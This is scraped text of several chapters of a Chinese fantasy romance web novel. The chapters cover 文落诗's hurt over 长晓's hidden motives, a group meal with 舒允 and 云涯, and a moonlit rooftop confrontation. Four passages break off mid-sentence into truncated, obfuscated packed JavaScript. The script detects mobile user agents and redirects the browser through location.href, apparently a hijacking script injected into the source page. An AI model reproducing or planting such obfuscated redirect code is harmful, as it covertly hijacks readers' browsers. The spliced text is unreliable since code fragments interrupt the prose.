云涯神色淡淡,语气却十分坚定。 “你要是真的爱她,该向她坦白自己的全部。喜欢一个人不是做买卖,没有那么多一二三四的,你喜欢的是她这个人,不是她的其他。反过来,她喜欢的要真的是你这个人,那她也会接受的。 “你不是说我印象没错吗?你们这里只看感情,不看别的。但是你俩现在,一个死活不强求,一个死活不肯多迈出一步,这样下去真不行。” 说罢,他将杯中的剩酒一饮而尽。 长晓帮云涯把酒斟满,笑得惨淡:“我就不该叫你来。听你在这里一通批评,找罪受。” “你以为我愿意跟你废话这么多啊?不是想帮你吗?” “行,多谢你。”长晓又看了眼门外,没多说。 云涯脸色变得正经起来:“好,不说了。不管怎样,这回找到舒允,是我欠你个人情。下回有机会还你。” 长晓笑道:“你干脆四十六年之后再还吧。” * 晚上大约一更之时,文落诗和舒允手挽着手回来了。二人头上的幕篱已然不见,天黑了没人会注意到街上的行人,二人为了说话方便,早就摘了。 回到客栈上楼,云涯刚好出门,与舒允撞了个正着。舒允似是没想到,回过神来后,毫不犹豫扑进云涯怀里,还不让在颈边蹭蹭。 “别人看着呢。”云涯低声提醒。 “没事,阿落不是外人,她无所谓。”舒允闭上眼睛,满脸甜蜜。 文落诗在进自己的屋之前,特意停下来和云涯互相点头问好。这之后,她关门回去,云涯也迅速拉着舒允回房间,具体去干嘛了,文落诗用脚趾头想都知道。 关上门的那一刻,她心里恨不得骂一万句脏话。我无所谓?行,我是无所谓,但是你们两个也太腻歪了,还这么光明正大! 这个舒允!之前晚上还能跟自己聊天,今天呢?一颗心全扑到她男人身上去了! 文落诗嘴角狠狠扯着,大口大口喘着气。正想坐下来消消气,把胳膊往桌案上一撑,那一瞬间,她发现桌案上有一个黑乎乎的冒着热气的东西。 她瞬间倒吸一口气,有人进过自己的房间?她明明在此设下过禁制,外人进不来啊! 而且,更令她百思不得其解的是,这个团看上去黑不拉几的跟烧糊的碳一样的东西,到底是什么? 直到她把鼻子凑近,闻到一股淡淡的甜味,她才有些反应过来。 这好像是个烤红苕。 认出的那一刻,文落诗心下狠狠一空。她手指僵直,拿起烤红苕,呆呆看了很久。 方才回屋之前,她很习惯性地看了长晓的房间一眼,发现里面没人。她反倒松了一口气,因为这样就不会碰面了。她最近实在不想碰上长晓。 谁料,自己回屋之后,就看到了桌上这个红苕。 她甚至都不需要想,都知道这个东西必然是长晓给她的。也就只有他,能无视这里的禁制,随时随便进入她的屋内。 最重要的是,这个东西是烤红苕啊! 几年前她在稀音城里,云涯来找她买烤红苕,回头她就见到了长晓…… 他这是和自己坦白,承认了所有事情。 文落诗的心里酸酸的,眼眶干干的,她觉得自己此时应该会哭,可不知为什么,她只觉得难过,一滴泪也哭不出来。 为什么这么对我呢? 从大局上讲,谁都没有任何错,可是她一个从来这么明事理的人,为什么这次遇上长晓,就这么伤心呢? 甚至说不清楚,这个红苕是用来坦白的,还是用来赔礼的,抑或是用来从此划清界限的。 她唯一可以确定的是,长晓在红苕上施了法,让它保持着热乎劲。 忽然,文落诗注意到红苕的下方压着一个极小的字条。纸条的边角已被红苕的外皮染黑、烫焦,那一行漂亮的黑色小字在其中显得突兀。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110472|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “若你想,可随时来找我。” 文落诗把字条夹于两指之间,念了个决,字条瞬间化为粉末,消失于空中。 他没多说什么,但文落诗内心就是觉得,他大概是觉得对不住自己。 ——当然,这也可能并非“她觉得”,而是“她希望”。 说不出心里什么滋味,看着热腾腾的红苕,她没有任何食欲。看了他留下的字条,反倒觉得心中更加烦闷。 于是她把红苕往桌子上随便一放,躺去床上,闭上眼睛。 干脆忽视它,睡觉。 同时,她暗暗打定主意,最近都不见长晓了,说什么也不见。 给自己一段时间冷静一下,缓一缓,哪怕是用来修复独属于自己的伤口。 * 夜里,不知几时。 文落诗辗转反侧,睡了又醒,醒了又睡,反反复复不知道多少次了。 这次她翻过身来,看着桌案的位置,一束从窗户缝里透进来的月光打在桌上,刚好照亮了那个端端正正摆好的红苕。 真讨厌,不想看到它。 文落诗翻过身去,努力背对着红苕,使劲告诉自己,不要想它,不要想它。 然后,她就彻底清醒了,再也睡不着。大约就这样侧着身子熬了小半个时辰,她听见自己肚子咕噜一声,紧接着,嘴巴里涌出口水。 哎,真没办法,自己骗不了自己。 下床之后,文落诗在空中随便一挥手施法,那盏竹灯里的蜡烛亮起来。来到桌案边,面无表情地拿起依旧热着的烤红苕,公事公办似的快速剥着皮,然后赌气一般往自己嘴里塞。 她以为会越吃越生气,可红苕是甜的。 特别甜,比之前吃过的所有红苕都甜。 大概是因为买红苕的那个人吧。 * 翌日早上,文落诗收到来信,上次找她写文章的那个人找她有事。被退稿之后,她特意用尽自己的文采,写了一篇巨长无比且详细到不能再详细的文章,词藻华丽,句子环环相扣。 她就不信对方还敢拒她的稿! 这不,对方来信了,说对这篇稿子很满意,有些具体事情找她谈。 文落诗出门了,一谈就是一下午。作为一个曾经对自己笔下的文字报以最大尊重、打死也不会改稿上任何一个字的人,文落诗在近几年为了生存,被迫放弃了自己那些坚守的原则,干脆摆烂,对方说什么就是什么,说改哪里就改哪里。反正就当成任务,完成了结款就行。 那人对文落诗这篇“认真完成”的稿子很满意,找她改了几个小句子,又跟她谈了谈能否接下来找她写别的稿子。文落诗当然同意得不能再同意了,天上掉下来的财路啊,她有什么理由拒绝!于是这一谈,就谈了大半天的时间。 洽谈结束,她心情颇好,又去街上转了转,回到客栈已是申时。 本想直接回自己的房间休息,可她上了楼梯,走到自己的房间门前,听到身后与她相对的那间房里人影有些杂。 仔细一看,文落诗心里了然。 和着你们三个人议事来了是吧! 那房间是长晓的房间,外面设了很厚实的结界,把声音全部屏蔽掉了。而通过人影来看,另外两个人很明显是云涯和舒允。 文落诗在门口停留了一会,脑海中过走马灯般想了很多事情,最终决定,装作没看见,回屋。 可就在她刚转身的那一瞬间,忽然听见有人叫她。 76. 半边秋雨半边月 屋内三人交谈甚欢,聊着聊着,长晓忽然不说话了,看向门外的方向。 云涯和舒允看他如此反应,觉得奇怪,也不说话了。 “落诗?” 他试探着问了一句。 对方没回答,而是有轻微转身的声音。 他们三人在屋内,本应谨防外人,可也不知为什么,长晓听见这个转身的声音,心中就十分确定门口之人是她。 于是,他抬了抬指尖,门轻轻被法力驱使,开了一道缝。 “呀,你回来了啊?”舒允的声音传来。 文落诗此刻的内心是崩溃的。她本来想转身回屋,装作没听见,可偏偏屋内之人察觉了她在门口,还给她打开门。 真是逃也逃不掉,不想回头也得回头。 她收拾好心情,换上正常的表情,缓缓转过身,倚着门框,看向屋内。 眼前的场面到是惊了她一瞬。 这三个人可真会享受,不知道从哪家酒楼买来的这么多饭菜,那么一张大桌子,都快堆满了。长晓一个人坐在左边的木长椅上,云涯和舒允挨着坐在右边。 此时此刻,六只眼睛齐刷刷地朝她的方向看来。 文落诗眼神扫过桌上的饭菜,又扫过云涯和舒允的表情,刻意忽略了什么。 “嗯,我刚回来,你们慢慢聊,我不打扰了。” 说罢,她就想继续逃走。 “别啊,我买的好多好吃的,你来吃点。”舒允手里的筷子还没放下,筷子上还夹着菜。 文落诗体面地笑着摇摇头:“不用,吃你们的,聊你们的,不用管我。” 即便脸上挂着笑容,她眉宇间淡淡的忧伤依旧明显。而这里所有人都极为聪明,自然也能看出她的真实想法。 “允儿说你喜欢喝豆浆,这里有。”云涯见舒允劝不动她,此时温声开口道。 真是煞费苦心了,文落诗心想。知道我近来心情不太好,想着安慰我,也真是难得。 “多谢,心意我领了,但真没什么胃口。” 她实在想转头走人。 “落诗。” 那一瞬间,一个极为熟悉的声音忽然传来。 “坐进来说说话,好吗?” 那声音极轻,又有些沙哑,带着淡淡的乞求,如同秋日寒风中遇上的一股暖流,温温软软袭来。 文落诗方才一直刻意没看长晓。 昨天她刚发誓,最近打死不见长晓,结果事情就是这么不凑巧,今天就见了。 心中叹了口气,她放弃了什么一般,将视线移至长晓的脸上,才注意到他神情中有一丝忧愁,混杂着些许空茫和无措,甚至有些失神。 像是,连他自己都对说出的话没什么信心,唯一的意识,是在努力挽留些什么。 文落诗盯着他,又扫视了一番桌案上的菜和另一边的二人,最终,轻轻开口,带着自嘲的意味。 “我若是进屋的话,以什么身份呢?” 此言一出,屋内三个人全都神色一僵,沉默。 周围的气息瞬间冷下来,静下来,连呼吸声都没有。 文落诗心里冷笑一声,对此反应毫不意外。她本就是天天和文字打交道的人,说话吵架对她来说不在话下。以至于,这么多年,她最得心应手的事情,就是杀人诛心。 只是这次,她说完这话,心中也是痛苦的。正可谓杀敌一千自损八百,她曾经尽力不去想的最痛苦的事情,此刻,她只好拿到明面上去说。 方才在门外,她就意识到自己好像误入了什么与她无关的地方,于是想装作没看见,转头走,可是这几个人偏偏要戳破,不给她离开的机会。 虽然她知道,他们真的是好意,没有任何别的意思。 如今,房间内安静得连头发丝微动的声音都能听到。 她苦笑着,认真打量着每一个人的神情。 云涯是略显惊讶,进而有种看戏的浅笑。舒允是意外,像是没想到文落诗会忽然拿这个说事。而长晓是自打她开口,就完全懵了,双眼无神,甚至没有敢看向文落诗,好像一潭死寂的湖水。 气氛极度紧绷着,时间仿佛凝固。 很明显,谁都明白,但谁都没挑明。 文落诗忽而觉得,自己不卑不亢,把上风占了个遍,这局赢得漂亮。 看够了所有人都表情,只听她忽然“呵呵”一声,打破了僵硬的气氛。她莞尔笑道:“我开玩笑的。既然碰上了,大家都在,那我肯定要坐下来聊会天的。反正走也走不了了。” 然后她大大方方走进来,转身把门关好。她又认真用眼睛研究了一下门口的隔音结界,一挥手,几道粉烟把方才的结界重新续上,整套动作行云流水,面色也轻轻松松,毫无压力一般。 一时间,屋子里依旧满是沉静,她是唯一一个在活动的生物。 云涯第一个回过神来,思考着什么,极小声地叹道:“厉害啊。”然后,他又笑着对长晓“啧”一声,像是在说,你看,我之前跟你说什么来着? 舒允见她不疾不徐走过来,眼神依旧呆呆:“我知道你生气的样子可怕,但没想过这么可怕。” 文落诗朝她又是莞尔一笑,恢复了往常那种不惹事不闹事的恬淡模样。 然后,她走到长晓旁边,粲然一笑:“往里面挪挪,给我腾个位置。” 长晓才是那个真正失魂的人。大约到了此时,他才渐渐回过神来,意识到这个姑娘已经笑意款款地来到自己身边。 他空洞的眼神慢慢重新聚集,面上漾起一丝说不清的情绪,下意识地往长木凳的里面挪了挪。他一直在看文落诗,直到她坐下来整理好裙子,眼神都不曾离开。 “看我干嘛?我总不能坐到那边去,三个人挤一起吧?”文落诗满面悠然自得,语气再平常不过。 长晓欲言又止,眼底情绪涌动。最终,他轻轻开口:“白天在外面累不累?” 文落诗一愣,随即道:“不累啊,我赚了好多好多钱,可开心了。” 这话当然是她故意说的,拿来缓和气氛。她知道,自从她进屋之后,气氛就彻底变了。如果再这么下去,她倒是真想个意外闯入的人。 果不其然,她对面的舒允重新开始动筷,把菜塞到嘴里,边吃边道:“嗯,这很符合你的风格。” “符合我穷困潦倒的风格是吧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115552|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “才不是。符合你就知道打拼,根本不管自己身体能否休息好的风格。要不是叫你进来,你连饭都不吃了。” 文落诗朝她撇了撇嘴。 不过她内心是感谢舒允的,真懂她,不仅把她的话茬接过来,还瞬间修复了气氛。 长晓拿了副空的碗筷,递到文落诗面前:“吃点东西,最近累坏了。” 文落诗心想,我不是累坏了,我是气坏了。但是她表面毫无波澜,浅笑盈盈接过碗筷:“多谢哦。” 长晓不再说话,只是静静看着她开始夹菜。 “阿允,你哪里买的饭菜啊?” “哦,”舒允抬头,“就是从这里出门往前走,经过两条街左转,然后再走三条街右转再右转的那家特别小的酒楼里。” 文落诗无语:“我怎么感觉你像当地人一样。” 舒允十分坦然:“我喜欢吃各种好吃的嘛!碰上云涯的那天,你走之后,我俩逛的时候遇上这家。可好吃了!” 文落诗点点头,不再说话。 云涯把旁边的一大壶豆浆给文落诗递过去。他本来不想接话茬,但是见长晓的眼神一直粘在文落诗身上,动都不带动的,好像他和舒允两个人已经不存在了一样,他便觉得实在受不了了。 “我说,”云涯咬牙切齿,盯着长晓,“自从落诗进来,你就一直看着人家,眼神都不带动的啊?” 文落诗夹着虾仁的手在空中一顿。 其实她知道长晓一直在看她。她内心有种从未有过的无措。也不是第一次跟长晓坐这么近,但当着别人的面,两个人之间都快挨上了,她稍稍一侧身就能躺到长晓怀里去,这让她心底很尴尬,懵懵的。 被云涯戳破后,长晓将眼神收回来,没多言。 “没事,正常。”舒允看透一切,转向云涯,“我以前吃饭的时候,你也一直看我。当时我就懒得说你。” 文落诗夹着米饭的手再次一顿。 舒允,你知道你这话什么意思吗? 长晓此刻轻咳一声,淡淡道:“舒允,你少说两句。” “不是,”文落诗实在受不了了,抬起头,“我是不是来之前漏了什么话题啊?” 云涯含笑点头,似乎不介意再添油加醋一把:“你是漏了不少。但是,回头让长晓亲自跟你说吧。” 舒允这一点和云涯太像了,看热闹不嫌事大,于是,她毫不犹豫在火上再加了把油:“嗯,对,你俩的事情,你俩回头自己私下说。” 那一瞬间,文落诗后悔坐进来了。她刚刚就应该见好就收,转头就走的才对。 大约是谁都不想戳破,但是好像所有人都懂了,屋内忽然安静了一会。 云涯默默给自己斟了杯酒,欣赏对面两个人的表情。舒允把他手里的酒壶抢过来,给自己倒满,然后递给长晓:“拿着拿着,自己倒。” 长晓内心也是崩溃的。他虽然清楚对面这两个人一直这副德行,但他实在没想到他们这回当着文落诗的面这么直接。他干脆没说话,接过酒壶。 这时,舒允盯着长晓手里的酒壶,忽然再次开口:“阿落,你知道你跟我们仨最大的区别是什么吗?” 77. 半边秋雨半边月 云涯听舒允突然抛出这么句话,心脏一忽悠。刚想提醒她,却觉得舒允肯定是有目的,用不着他提醒。他干脆好整以暇地闭嘴,似笑非笑地静待下文。 同样心脏一忽悠的当然还有长晓。他快把牙咬碎了,看着舒允的方向,眼珠子快从眼眶里冒出来一样,想求她别说了。 反倒是文落诗,直接摆烂,举杯喝了口豆浆,对舒允道:“你说。” 舒允神秘兮兮地看了眼云涯的表情,又认真欣赏了一番长晓的表情,最终一字一句道:“她,不喝酒。” 料是所有人准备了任何可能,都没想过舒允会说出这么一句话。 文落诗确实刚才心里没底,但此刻,她晃了晃手里装着豆浆的杯子,忽然闲懒地笑出声来:“还真是。” 云涯看了眼文落诗手里的杯子,略显意外道:“我还真是没想到。” 而坐在文落诗左边的长晓,则又是刚回过神来。他缓缓转头,愣愣地看向文落诗,不可置信道:“你不喝酒?” “嗯,”文落诗自然点点头,“我滴酒不沾。” 长晓惊了:“我一直以为你……” “怎么?我看上去这么洒脱、这么豁达、这么开朗的一个姑娘,居然从来没喝过酒,没想到吧?”文落诗看着长晓的样子,实在觉得好笑,就索性把他没说完的话全说了。 “也对。这么多天,我居然都没发现。”长晓目光暗下来。 舒允跟文落诗是旧识,这种事情她当然知道。云涯跟文落诗刚认识,如今是刚知道。 但自己呢?这么多天,这么明显的事情,居然全然没发现。他默认文落诗是喝酒的,从来没有想过她不喝。 他想起在绛霞双楼里碰上彦月,那时候他刚开始对文落诗动心思,一时间觉得烦闷,给自己斟酒喝的时候,彦月就忽然说自己还远远不够了解她。 原来彦月当时是故意没说,在这里摆了他一道。 这时,云涯忽然凉飕飕地开口:“呦,如此看来,你任重而道远啊。” 文落诗和长晓的眼神都还没从对方身上收回来,此刻忽闻云涯对长晓这么说,两人眼神皆是一顿。文落诗率先别过头去,自顾自地开始继续喝她心爱的豆浆。 而且舒允买的豆浆里没放糖哎!她最喜欢不放糖的豆浆了。舒允真懂她。 不得不说,舒允是个极厉害的人物,她毫无痕迹地救了文落诗一把,也给了所有人台阶下。至此,刚刚一切僵化的气氛全部化解。 最重要的是,她歪打正着,给长晓提了醒,你还远远不够了解你的落诗哦!继续努力吧! 这个话题到此结束。 接下来,气氛一下子轻松多了,四个人说说笑笑,聊了些鸡毛蒜皮的家长里短。文落诗和长晓也装作什么都没发生过,只有云涯偶尔眼神轻佻地看看她,又看看他。 “你知道我们两个怎么认识的吗?”舒允朝云涯的方向一撇头。 文落诗嘴里的豆浆差点喷出来:“你还是别说了。” 得,她不说还好,这么一说,云涯立刻开始好奇。长晓也道:“舒允你说,让她好好吃饭。” 舒允牙齿一酸:“行,你就向着她吧。”之后,她便放下筷子,开始抑扬顿挫、滔滔不绝地讲述当年的事情。 如果把她的一堆废话简化成一句话,那大概是这样的: 很久很久以前,有一个正在哭唧唧的小姑娘,意外碰上了另一个哭唧唧的小姑娘。 而这个故事的特别之处在于,两个小姑娘的相遇之地,名为茅厕。 …… “为什么?”云涯实在忍不住了,发出疑问。 “这就不得不提我俩当年那场著名的对话了,”舒允挺起胸脯,“当时我已经从茅厕里出来的,眼看着阿落要进去,像是眼泪已经憋不住了。我当时就心想,呦嘿,世界上居然有跟我想法如出一辙的人。” 文落诗听她如此绘声绘色,两眼一黑,只能闭着眼睛兀自吃饭,不搭理她。 “后来我特意在门口等了一阵,看着她吸溜着眼泪出来了。阿落看我居然还没走,充满绿血丝的眼睛满是惊讶。她愣神了一会,跟我说,她觉得茅厕是个特别好的地方,想哭的时候可以一个人进去哭,没别人看见,想怎么哭就怎么哭。” 云涯和长晓瞬间向文落诗投去惊呆的目光。 “她说完,我立刻还补充了一句‘而且里面还有纸,可以擦眼泪’。”舒允闲闲道。 云涯和长晓惊奇的目光顿时转向舒允。 文落诗受不了了,此刻发话:“这一听就是当年的故事了。现在好多茅厕里都没纸了,想哭的话得自己抱着一大团纸进去。” 反正舒允把最离谱的部分已经说完,她再补充一点也没什么。她们就是这么随意。 毕竟,她和舒允都很好奇看另外两个人的反应,等着欣赏他们的表情。 果不其然,云涯和长晓双双目瞪口呆。 “所以,你们两个当时是觉得……遇到了知己?”云涯艰难地开口。 “对。”文落诗和舒允同时开口。 此刻,长晓终于忍不住,笑出声来:“真不愧是你们两个。” 真是够奇葩的。 这两个人,都是看似平静至极,实则疯狂至极。 * 晚上,文落诗又是一个人躺在床上。这顿饭散了之后,各回各屋。回到屋里的那一刻,文落诗觉得世界安静了,她大大松了一口气。 压力不来自于社交,而是来自于她和长晓坐得太近了。 长晓怎么想她不知道,但她自己是真的一直紧绷着神经,总觉得气氛不太对劲。 而且,怎么说呢…… 看着舒允和云涯两个人互相怼,欢声笑语,她其实还挺羡慕的。 人真是个很奇怪的生物。文落诗明明说自己从来不想谈情说爱,不想涉足任何感情之事,却总会在某些时刻,羡慕别人的甜甜蜜蜜。 太奇怪了,这种感受她不常有。她很清楚自己想要的是什么,为什么想自己一个人过一辈子。可是,好像真的会控制不住去羡慕别人啊。 其实也不是羡慕别人。文落诗躺在床上,双手举起,借着月光盯着自己的手指。她希望的,其实是有一天她能知道,她也是一个能爱别人和值得被爱的人。 大概是靠文字生活之人的通病,总是感慨这感慨那的。 文字脱离了人就没有了存在的意义,是因为人掌握着一种独有的名为感情的东西。这种东西把一个个文字串成句子,使其存在意义。一个个句子再靠感情拼凑起来,成为篇章。 文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124623|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字本身是没有用的。是人存在让它变得有用。文学本身是不存在的。是人的存在让它拥有生命。 随便给自己的笔施个法,它也能自己写出文字。只可惜,你的笔能“呈现”出文字,但只有执笔之人能“涌现”出文字。你的笔或许能“制作”文学,但只有人能“创作”文学。换言之,人之所以为人,不是因为有像笔一样的书写能力,而是因为人有笔不可能拥有的精神境界,以及感知美、创作美的能力。 或许这就是独属于人的那个名为感情的东西。或者,有人把它叫作自由意志。 所以,以写文章为生的人,绝不可能没有感情。 ——也绝不可能从来不追求获得感情。 文落诗重重叹了口气,两只胳膊从空中掉下来,砸在自己身上。 但是,我现在什么都没有。 * 翌日,文落诗难得没赖床。早上出门,习惯性地看了长晓的房间一眼,发现他不在屋内。 正好,自己虽然昨天当着别人的面和他有说有笑的,但他俩的事情还没解释清楚呢。才不想见到他。 得知舒允和云涯今天就要走了,文落诗说再带他们转转这里,毕竟小镇的生活很是惬意。她知道,无论是舒允还是云涯,回去之后,恐怕都没有这么清闲的时光了。 她带两个人在镇上走了走,又去了趟竹海。 秋日里的景色真是一日比一日凋零。才没几天,竹叶就又枯了不少。池塘中的枯荷少了大半,干瘪的莲蓬也只剩下寥寥几个。 参商镇是个很奇怪的地方。所有人看似慢慢悠悠,心不在焉,实则有无数股暗流,流淌在每一寸画面之间。枯荷是这样,观荷之人是这样,街上的人是这样,整个小镇是这样。 或者说,其实现下的整个世界,都是这样。 文落诗不由得多看了舒允和云涯几眼,而二人正在互相眉来眼去,没注意到文落诗的目光。 大战前夕,若是以前,文落诗是怎么也不可能想到,这两个人会出现在这里。 自从得知云涯、舒允和长晓三个人互相熟识已久,文落诗就隐约觉得,有什么她一直以来认为的事情,开始动摇了。 昨天那顿饭之后,这种感受更是大大加深。 怕是她一直以来都想错了。 而这个世界上的所有人,都跟她一样,想错了。 这种感受太过于离奇,仿佛是触碰到了这个世界上最大的秘密。而更可怕的是,那三人似乎不介意她猜到这件事。 太疯狂了。 不过,谁也没提这件事。文落诗就装作没意识到,暂且把保全自己放在第一位吧。可是自从意识到以后,她心里有种难以言说的放心,仿佛看到了一件无解之事的解法。 想到此,她自嘲地一笑。 长晓说得很对。她只是装作不在乎世间民生,不在乎除她以外之人的死活。实则她最在乎不过了。 此刻,舒允浅笑盈盈地走过来:“那我和云涯就先各回各家啦,以后有机会再见。” 云涯在一旁也笑着道:“嗯,当然会再见的。” 文落诗心中一暖。 倒不是因为这二人是谁,也不是因为她感慨于朋友之间的美好。 而是因为她知道,再见的话,意味着什么。 78. 半边秋雨半边月 文落诗回到客栈,一个人坐了很久。渐渐到了晚上,天色黑下来,她还在一个人发呆。 大约是意识到别人都走了,这里又只剩下她和长晓两人了。有些一直在逃避的话题,终究要有个说法。哪怕一拖再拖,有些难听的话,终究还是要说的。 她之前试图用充实和忙碌掩盖这一事实,可当下才发现,只是掩耳盗铃,自欺欺人。 没用的。 天空彻底黑下来,月亮开始爬上窗棂。文落诗不知怎的,忽觉此时此刻爬到屋檐上看看月亮应该挺不错。于是她手脚比脑子快,决定的那一刻,已经纵身一跃,飞上屋檐。 她今天少见地穿了个轻柔的红色衣裙,还是浓艳的正红色。 深秋的夜晚,冷风频频而至,文落诗的衣带随风飘动,像是一道天际处起舞的红绫。风也吹着她松松垮垮垂下的头发丝,一时间,乌黑的长发也飘在空中,时不时遮住眼前月。 她坐在屋檐上没一会,就打了个寒颤。 可是她不想回去,好像一旦回去,就得面对一堆麻烦事。干脆麻痹自己,多在屋檐上吹会风,放松放松。 渐渐入了夜,月亮从远处的山边慢慢爬上来。今日是个十五,月亮又大又圆的,妖冶的红光扫过远处山坡,十分漂亮。 街上没了人,屋檐上却有风的声音阵阵传入耳。周身一片黑暗,远处挂在天上的月亮是唯一的光亮。 偶尔脚下有枯叶被风卷起,摩擦地面的唰唰声,也不伤这幅画面。 远处一轮血月,瓦上一袭红裙。 交相辉映中,是极度的安静,极度的孤独。 文落诗就这么一个人看了很久的月亮,面无表情。她想了很多很多事,手越来越凉,她也没发现。 直到忽然,一个厚厚的斗篷落在她身上。 随之而来的,还有一股熟悉的温热。 屋檐上不便动身幅度过大,若是一个不小心掉下去就不好了。她身子没动,只是轻轻侧过头。看见那张熟悉的脸庞时,她几乎是下意识地开口,声音轻得虚弱:“你怎么来了?” “我再不来,你就该冻病了。”长晓在她身边坐下,帮她把斗篷在身前紧了紧,“我可不想明天看到一个染了风寒的病怏怏的姑娘。” 文落诗低头看着他的双手在自己胸前,那双靛蓝色衣袖中伸出的手,正在帮自己一丝不苟系斗篷,一时间,她声音有些哑:“我不冷。” 长晓眉眼波动,满是心疼:“还说不冷?” 文落诗从斗篷里面伸出冻僵的手,倔道:“我自己系就行了。” 这样下去不行的。长晓的手在她身前太近了,她心跳太快了。 几乎是触碰到绳结的那一刻,她的冰冷的小拇指不小心碰到了长晓还未收回的手。 “你手怎么这么凉?” “可能坐得时间比较久吧。而且我从小就体寒,稍微一不活动手脚就凉,没什么大事的。” “我要是不来,你就这么任由自己冻着?” “病不了的。再怎么说,我也有这么高的修为护体,一时半会不会有事。” 长晓没再接话,只是默默抬起手,将一股极浓的蓝光传入她身后。那一瞬间,文落诗的身上迅速暖和起来,手也仿佛泡在热水里一般,全身的血液都暖融融的。 “干嘛突然给我传这么多内力啊?”文落诗双眼睁大,微微震惊。 “你自己不爱惜身体,那只能我帮你爱惜了。”长晓语气淡淡,却夹杂着许多意味不明。 文落诗把头转回来,继续看月亮。许久以后,她还是忍不住浅浅开口:“……多谢你。” 她莫名有点想哭,觉得鼻子酸酸的。 月亮好亮啊。好美啊。可是如此景致,难掩心中悲凉。 “落诗,”长晓也开口,声音更轻,“我很少见你像现在这样,一点笑容都没有。” 明明是极为妖艳的红衣红裙,却配的是一张冷淡的忧伤的脸。哪怕,这张脸在不笑的时候,也美得动人心魄。 文落诗没说话。 她知道自己脸上没什么表情,像是极度的淡然,也是极度的绝望。 “我知道你生气。也知道你想说什么。”长晓盯着她的浓墨般的睫毛,目不转睛,启唇,“这件事,完完全全是我对不起你。你想责怪我什么,我都认了。想问什么,你问便是。我全都告诉你。” 文落诗还是没说话。 直到很久以后,她才察觉,有一滴细小的泪,划过了脸庞。 她忽然低下头,不再看月亮。 “长晓,”她嘴唇颤抖,终于下定决心问道,“你的目标,一直是找到舒允?” 长晓抿了抿唇,道:“是。” “稀音城那天,云涯去春庭酒楼后院找你,为的就是这件事?” “是。” “他和你说舒允有个朋友在这里,或许可以通过这个朋友来找到她?” “是。” “再后来,打完尹岐之后,我报出了舒允的名字,你意识到了我就是云涯说的那个人?” “是。” “你当时留我在身边,是因为我说了她的名字?” 长晓沉默了很久,最终还是道:“是。” “你决定跟我一起走接下来的路,也是因为这个?” 长晓这次沉默了更久,像是不知道该怎么回答这个问题。 文落诗深深叹了一口气,侧过头,眼框湿湿的。朦胧之间,她问出了那个最想问的问题。 “那你送我石莲,也是因为看到了我身上可以帮你找人的价值吗?” 长晓此时也侧过头,深深盯着她满含泪水的双眼,决然道:“当然不是。” 文落诗充满水雾的眼神顿住,似乎愣了一瞬。 长晓也没多说话,只是静静地看着她,目光复杂,有无数情绪涌出。那眼神中,带着从往日涉水而来的轻柔,带着看透将来长路尽头的绝望,也带着当下快要化作暖流溢出的心疼与自责。 秋日冷夜中,月光格外柔和,绵绵散发着光芒,照上屋檐处。 许久,文落诗还是忍不住,问道:“如果我没有报出她的名字,是不是你就不会在我身上花费时间?” 她知道自己有多害怕听到这个答案。 可是长晓回答的是:“不是。” “如果我不认识舒允,你是不是不会选择跟我一起去到这么多地方,或者来到这里?” “不是。” 好像有巨大的闸门在内心深处打开,一瞬间,洪水涌出,沸腾了整颗心脏。 文落诗觉得,自己有无数个呼之欲出的问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127739|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题。可赶在这些问题之前的,却是一股莫名窜上来的恶劣情绪。 她目光灼灼:“你自相矛盾。虽然我不确定你究竟是什么身份,但是以你的身份,绝对没必要在我身上浪费时间。除非我有利用价值。” 说罢,她自嘲地一笑,并任由这个笑容被长晓尽收眼底。似乎是调整了一下情绪,她重重咬牙,狠狠道:“你讨好我,都是因为舒允吗?” 长晓那本是柔雾般的眼神,在这一瞬间,再也支撑不住,碎裂开来。 “落诗,不是这样……” 文落诗死死盯着他的眼睛,不肯松开。 “当然不是。”长晓再次开口,似乎有些慌乱。几乎是在很短的时间之内,他又道:“跟任何人都没有关系。只是因为你而已。” 文落诗的表情僵住。 